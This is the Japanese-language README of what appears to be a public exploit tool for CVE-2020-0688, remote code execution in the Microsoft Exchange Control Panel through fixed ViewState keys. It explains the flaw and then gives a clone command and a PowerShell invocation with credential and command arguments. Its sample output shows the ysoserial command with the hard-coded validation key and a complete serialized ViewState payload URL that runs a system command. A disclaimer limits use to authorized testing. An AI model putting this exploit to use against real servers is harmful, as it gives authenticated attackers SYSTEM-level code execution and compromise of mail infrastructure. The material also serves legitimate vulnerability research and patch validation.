
Microsoft Exchange Server における固定暗号鍵を介したリモートコード実行
Microsoft Exchange Server がインストール時に一意のキーを適切に生成できない場合、リモートコード実行の脆弱性が存在します。
検証キーを知っていると、メールボックスを持つ認証済みユーザーが、SYSTEM として実行される Web アプリケーションによって逆シリアル化される任意のオブジェクトを渡すことができます。
このバグは Exchange Control Panel (ECP) コンポーネントにあります。バグの性質は非常に単純です。インストールごとにランダムに生成されたキーを持つ代わりに、Microsoft Exchange Server のすべてのインストールは web.config 内で同じ validationKey と decryptionKey の値を持ちます。これらのキーは ViewState のセキュリティを提供するために使用されます。ViewState は、ASP.NET Web アプリケーションがクライアント上にシリアル化形式で保存するサーバー側データです。クライアントは、__VIEWSTATE リクエストパラメータを介してこのデータをサーバーに提供します。
静的キーの使用により、認証済みの攻撃者はサーバーを騙して、悪意を持って細工された ViewState データを逆シリアル化させることができます。YSoSerial.net の助けを借りて、攻撃者は SYSTEM として実行される Exchange Control Panel Web アプリケーションのコンテキストで、サーバー上で任意の .NET コードを実行できます。(ソース)
以下の手順に従うことで、開発およびテスト目的のために、このプロジェクトのコピーをローカルマシンで取得して実行することができます。
git clone https://github.com/MrTiz/CVE-2020-0688.git
PowerShell.exe -ExecutionPolicy Bypass -File .\CVE-2020-0688.ps1 -Url <url> -Username <username> -Password <password> -Command <command> -YsoserialPath <ysoserialpath>
PowerShell.exe -ExecutionPolicy Bypass -File .\CVE-2020-0688.ps1 -Url 'https://localhost' -Username 'domain\username' -Password 'REDACTED' -Command 'powershell whoami > C:/whoami.txt' -YsoserialPath 'C:\Users\User\Desktop\CVE-2020-0688\ysoserial\ysoserial.exe'
[*] Start to exploit...
[+] Login url: https://localhost:443/owa/auth.owa
[*] Status code: 200
[+] Login successfully!
[*] Tring to get __VIEWSTATEGENERATOR...
[+] Done! __VIEWSTATEGENERATOR: B97B4E27
[*] Tring to get ASP.NET_SessionId...
[+] Done! ASP.NET_SessionId: 624abfff-85b6-4357-be8c-18a931cad256
C:\Users\User\Desktop\CVE-2020-0688\ysoserial\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell whoami > C:/whoami.txt" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="624abfff-85b6-4357-be8c-18a931cad256" --islegacy --isdebug
[+] Exp url: https://localhost:443/ecp/default.aspx?__VIEWSTATEGENERATOR=B97B4E27&__VIEWSTATE=%2FwEyywYAAQAAAP%2F%2F%2F%2F8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAADtBDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI%2BDQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IiIgT2JqZWN0VHlwZSA9ICJ7IHg6VHlwZSBEaWFnOlByb2Nlc3N9IiBNZXRob2ROYW1lID0gIlN0YXJ0IiA%2BDQogICAgIDxPYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc%2BcG93ZXJzaGVsbDwvU3lzdGVtOlN0cmluZz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc%2BIndob2FtaSAmZ3Q7IEM6L3dob2FtaS50eHQiIDwvU3lzdGVtOlN0cmluZz4NCiAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCjwvUmVzb3VyY2VEaWN0aW9uYXJ5Pgviru9bDCgMPT0snH0s0u%2BA6J37Fg%3D%3D
[*] Auto trigger payload...
[+] Status code: 500, Maybe success!
コントリビューションこそが、オープンソースコミュニティを学び、刺激し、創造するための素晴らしい場所にしています。提供いただけるコントリビューションはすべて大いに歓迎します。
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)このエクスプロイトは、教育および研究目的のみのために開発・公開されました。作者は、いかなる違法な使用に対しても責任を負いません。自己責任で使用し、テストすることを許可されたシステムに対してのみ使用してください。
このプロジェクトは GNU General Public License v3.0 の下でライセンスされています。詳細については LICENSE ファイルを参照してください。